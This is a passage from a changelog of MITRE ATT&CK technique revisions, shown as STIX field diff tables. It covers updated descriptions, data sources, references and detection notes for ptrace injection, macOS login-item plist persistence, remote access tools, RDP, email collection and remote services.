| > | ess in the target processes’ memory (ex: the current address | > | ess in the target processes’ memory (ex: the current address | ||
| > | of the next instruction). (Citation: PTRACE man)(Citation: | > | of the next instruction). (Citation: PTRACE man)(Citation: | ||
| > | Medium Ptrace JUL 2018) Ptrace system call injection may n | > | Medium Ptrace JUL 2018) Ptrace system call injection may n | ||
| > | ot be possible targeting processes with high-privileges, and | > | ot be possible targeting processes that are non-child proces | ||
| > | on some system those that are non-child processes.(Citation | > | ses and/or have higher-privileges.(Citation: BH Linux Inject | ||
| > | : BH Linux Inject) Running code in the context of another | > | ) Running code in the context of another process may allow | ||
| > | process may allow access to the process's memory, system/net | > | access to the process's memory, system/network resources, a | ||
| > | work resources, and possibly elevated privileges. Execution | > | nd possibly elevated privileges. Execution via ptrace system | ||
| > | via ptrace system call injection may also evade detection fr | > | call injection may also evade detection from security produ | ||
| > | om security products since the execution is masked under a l | > | cts since the execution is masked under a legitimate process | ||
| > | egitimate process. | > | . | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:24:56.734000+00:00 | 2021-10-18 12:26:31.766000+00:00 |
| description | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | System calls | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify plist files to automatically run an a | t | 1 | Adversaries may modify plist files to automatically run an a |
| > | pplication when a user logs in. Starting in Mac OS X 10.7 (L | > | pplication when a user logs in. When a user logs out or rest | ||
| > | ion), users can specify certain applications to be re-opened | > | arts via the macOS Graphical User Interface (GUI), a prompt | ||
| > | when a user logs into their machine after reboot. While thi | > | is provided to the user with a checkbox to "Reopen windows w | ||
| > | s is usually done via a Graphical User Interface (GUI) on an | > | hen logging back in".(Citation: Re-Open windows on Mac) When | ||
| > | app-by-app basis, there are property list files (plist) tha | > | selected, all applications currently open are added to a pr | ||
| > | t contain this information as well located at <code>~/Librar | > | operty list file named <code>com.apple.loginwindow.[UUID].pl | ||
| > | y/Preferences/com.apple.loginwindow.plist</code> and <code>~ | > | ist</code> within the <code>~/Library/Preferences/ByHost</co | ||
| > | /Library/Preferences/ByHost/com.apple.loginwindow.* .plist</ | > | de> directory.(Citation: Methods of Mac Malware Persistence) | ||
| > | code>. An adversary can modify one of these files directly | > | (Citation: Wardle Persistence Chapter) Applications listed i | ||
| > | to include a link to their malicious executable to provide | > | n this file are automatically reopened upon the user’s next | ||
| > | a persistence mechanism each time the user reboots their mac | > | logon. Adversaries can establish [Persistence](https://atta | ||
| > | hine (Citation: Methods of Mac Malware Persistence). | > | ck.mitre.org/tactics/TA0003) by adding a malicious applicati | ||
| > | on path to the <code>com.apple.loginwindow.[UUID].plist</cod | ||||
| > | e> file to execute payloads when a user logs in. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-24 19:51:37.795000+00:00 | 2022-04-19 23:46:56.443000+00:00 |
| description | Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence). | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in. |
| external_references[1]['source_name'] | Methods of Mac Malware Persistence | Re-Open windows on Mac |
| external_references[1]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017. |
| external_references[1]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://support.apple.com/en-us/HT204005 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Wardle Persistence Chapter', 'description': 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.', 'url': 'https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf'} | |
| x_mitre_data_sources | Command: Command Execution |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may use legitimate desktop support and remote a | t | 1 | An adversary may use legitimate desktop support and remote a |
| > | ccess software, such as Team Viewer, Go2Assist, LogMein, Amm | > | ccess software, such as Team Viewer, AnyDesk, Go2Assist, Log | ||
| > | yyAdmin, etc, to establish an interactive command and contro | > | Mein, AmmyyAdmin, etc, to establish an interactive command a | ||
| > | l channel to target systems within networks. These services | > | nd control channel to target systems within networks. These | ||
| > | are commonly used as legitimate technical support software, | > | services are commonly used as legitimate technical support s | ||
| > | and may be allowed by application control within a target en | > | oftware, and may be allowed by application control within a | ||
| > | vironment. Remote access tools like VNC, Ammyy, and Teamview | > | target environment. Remote access tools like VNC, Ammyy, and | ||
| > | er are used frequently when compared with other legitimate s | > | Teamviewer are used frequently when compared with other leg | ||
| > | oftware commonly used by adversaries. (Citation: Symantec Li | > | itimate software commonly used by adversaries.(Citation: Sym | ||
| > | ving off the Land) Remote access tools may be established a | > | antec Living off the Land) Remote access tools may be insta | ||
| > | nd used post-compromise as alternate communications channel | > | lled and used post-compromise as alternate communications ch | ||
| > | for redundant access or as a way to establish an interactive | > | annel for redundant access or as a way to establish an inter | ||
| > | remote desktop session with the target system. They may als | > | active remote desktop session with the target system. They m | ||
| > | o be used as a component of malware to establish a reverse c | > | ay also be used as a component of malware to establish a rev | ||
| > | onnection or back-connect to a service or adversary controll | > | erse connection or back-connect to a service or adversary co | ||
| > | ed system. Admin tools such as TeamViewer have been used by | > | ntrolled system. Installation of many remote access tools ma | ||
| > | several groups targeting institutions in countries of inter | > | y also include persistence (ex: the tool's installation rout | ||
| > | est to the Russian state and criminal campaigns. (Citation: | > | ine creates a [Windows Service](https://attack.mitre.org/tec | ||
| > | CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blo | > | hniques/T1543/003)). Admin tools such as TeamViewer have be | ||
| > | g TeamSpy) | > | en used by several groups targeting institutions in countrie | ||
| > | s of interest to the Russian state and criminal campaigns.(C | ||||
| > | itation: CrowdStrike 2015 Global Threat Report)(Citation: Cr | ||||
| > | ySyS Blog TeamSpy) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 20:42:37.320000+00:00 | 2022-04-21 14:54:10.899000+00:00 |
| description | An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy) | An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land) Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) |
| external_references[1]['source_name'] | Symantec Living off the Land | CrowdStrike 2015 Global Threat Report |
| external_references[1]['description'] | Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018. | CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018. |
| external_references[1]['url'] | https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf | https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf |
| external_references[2]['source_name'] | CrowdStrike 2015 Global Threat Report | CrySyS Blog TeamSpy |
| external_references[2]['description'] | CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018. | CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018. |
| external_references[2]['url'] | https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf | https://blog.crysys.hu/2013/03/teamspy/ |
| external_references[3]['source_name'] | CrySyS Blog TeamSpy | Symantec Living off the Land |
| external_references[3]['description'] | CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018. | Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018. |
| external_references[3]['url'] | https://blog.crysys.hu/2013/03/teamspy/ | https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf |
| x_mitre_data_sources[0] | Network intrusion detection system | Process: Process Creation |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Zachary Stanford, @svch0st |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:07.491000+00:00 | 2021-03-08 10:33:02.019000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Access |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a computer using the Remote | > | g/techniques/T1078) to log into a computer using the Remote | ||
| > | Desktop Protocol (RDP). The adversary may then perform actio | > | Desktop Protocol (RDP). The adversary may then perform actio | ||
| > | ns as the logged-on user. Remote desktop is a common featur | > | ns as the logged-on user. Remote desktop is a common featur | ||
| > | e in operating systems. It allows a user to log into an inte | > | e in operating systems. It allows a user to log into an inte | ||
| > | ractive session with a system desktop graphical user interfa | > | ractive session with a system desktop graphical user interfa | ||
| > | ce on a remote system. Microsoft refers to its implementatio | > | ce on a remote system. Microsoft refers to its implementatio | ||
| > | n of the Remote Desktop Protocol (RDP) as Remote Desktop Ser | > | n of the Remote Desktop Protocol (RDP) as Remote Desktop Ser | ||
| > | vices (RDS).(Citation: TechNet Remote Desktop Services) Ad | > | vices (RDS).(Citation: TechNet Remote Desktop Services) Ad | ||
| > | versaries may connect to a remote system over RDP/RDS to exp | > | versaries may connect to a remote system over RDP/RDS to exp | ||
| > | and access if the service is enabled and allows access to ac | > | and access if the service is enabled and allows access to ac | ||
| > | counts with known credentials. Adversaries will likely use C | > | counts with known credentials. Adversaries will likely use C | ||
| > | redential Access techniques to acquire credentials to use wi | > | redential Access techniques to acquire credentials to use wi | ||
| > | th RDP. Adversaries may also use RDP in conjunction with the | > | th RDP. Adversaries may also use RDP in conjunction with the | ||
| > | [Accessibility Features](https://attack.mitre.org/technique | > | [Accessibility Features](https://attack.mitre.org/technique | ||
| > | s/T1546/008) technique for Persistence.(Citation: Alperovitc | > | s/T1546/008) or [Terminal Services DLL](https://attack.mitre | ||
| > | h Malware) | > | .org/techniques/T1505/005) for Persistence.(Citation: Alpero | ||
| > | vitch Malware) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-25 19:23:34.204000+00:00 | 2022-03-28 16:07:44.605000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware) |
| x_mitre_data_sources[0] | Process monitoring | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Authentication logs | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target an Exchange server or Office 365 to c | t | 1 | Adversaries may target an Exchange server, Office 365, or Go |
| > | ollect sensitive information. Adversaries may leverage a use | > | ogle Workspace to collect sensitive information. Adversaries | ||
| > | r's credentials and interact directly with the Exchange serv | > | may leverage a user's credentials and interact directly wit | ||
| > | er to acquire information from within a network. Adversaries | > | h the Exchange server to acquire information from within a n | ||
| > | may also access externally facing Exchange services or Offi | > | etwork. Adversaries may also access externally facing Exchan | ||
| > | ce 365 to access email using credentials or access tokens. T | > | ge services, Office 365, or Google Workspace to access email | ||
| > | ools such as [MailSniper](https://attack.mitre.org/software/ | > | using credentials or access tokens. Tools such as [MailSnip | ||
| > | S0413) can be used to automate searches for specific keyword | > | er](https://attack.mitre.org/software/S0413) can be used to | ||
| > | s. | > | automate searches for specific keywords. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-19 20:53:50.908000+00:00 | 2021-03-25 13:12:56.909000+00:00 |
| description | Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. | Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Email gateway | Command: Command Execution |
| x_mitre_data_sources[2] | Mail server | Logon Session: Logon Session Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into a service specifically desig | > | g/techniques/T1078) to log into a service specifically desig | ||
| > | ned to accept remote connections, such as telnet, SSH, and V | > | ned to accept remote connections, such as telnet, SSH, and V | ||
| > | NC. The adversary may then perform actions as the logged-on | > | NC. The adversary may then perform actions as the logged-on | ||
| > | user. In an enterprise environment, servers and workstation | > | user. In an enterprise environment, servers and workstation | ||
| > | s can be organized into domains. Domains provide centralized | > | s can be organized into domains. Domains provide centralized | ||
| > | identity management, allowing users to login using one set | > | identity management, allowing users to login using one set | ||
| > | of credentials across the entire network. If an adversary is | > | of credentials across the entire network. If an adversary is | ||
| > | able to obtain a set of valid domain credentials, they coul | > | able to obtain a set of valid domain credentials, they coul | ||
| > | d login to many different machines using remote access proto | > | d login to many different machines using remote access proto | ||
| > | cols such as secure shell (SSH) or remote desktop protocol ( | > | cols such as secure shell (SSH) or remote desktop protocol ( | ||
| > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | > | RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D | ||
| > | esktop Services) | > | esktop Services) Legitimate applications (such as [Software | ||
| > | Deployment Tools](https://attack.mitre.org/techniques/T1072 | ||||
| > | ) and other administrative programs) may utilize [Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1021) to access | ||||
| > | remote hosts. For example, Apple Remote Desktop (ARD) on mac | ||||
| > | OS is native software used for remote management. ARD levera | ||||
| > | ges a blend of protocols, including [VNC](https://attack.mit | ||||
| > | re.org/techniques/T1021/005) to send the screen and control | ||||
| > | buffers and [SSH](https://attack.mitre.org/techniques/T1021/ | ||||
| > | 004) for secure file transfer.(Citation: Remote Management M | ||||
| > | DM macOS)(Citation: Kickstart Apple Remote Desktop commands) | ||||
| > | (Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries | ||||
| > | can abuse applications such as ARD to gain remote code exec | ||||
| > | ution and perform lateral movement. In versions of macOS pri | ||||
| > | or to 10.14, an adversary can escalate an SSH session to an | ||||
| > | ARD session which enables an adversary to accept TCC (Transp | ||||
| > | arency, Consent, and Control) prompts without user interacti | ||||
| > | on and gain access to data.(Citation: FireEye 2019 Apple Rem | ||||
| > | ote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstar | ||||
| > | t Apple Remote Desktop commands) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Dan Borges, @1njection'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 12:25:03.251000+00:00 | 2022-03-28 16:07:45.017000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands) |
| x_mitre_data_sources[0] | Windows Registry | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[4] | Process command-line parameters | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[6] | Packet capture | Network Share: Network Share Access |
| x_mitre_detection | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. | Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Remote Management MDM macOS', 'description': 'Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT209161'} | |
| external_references | {'source_name': 'Kickstart Apple Remote Desktop commands', 'description': 'Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.', 'url': 'https://support.apple.com/en-us/HT201710'} | |
| external_references | {'source_name': 'Apple Remote Desktop Admin Guide 3.3', 'description': 'Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.', 'url': 'https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf'} | |
| external_references | {'source_name': 'FireEye 2019 Apple Remote Desktop', 'description': 'Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html'} | |
| external_references | {'source_name': 'Lockboxx ARD 2019', 'description': 'Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.', 'url': 'http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html'} | |
| external_references | {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
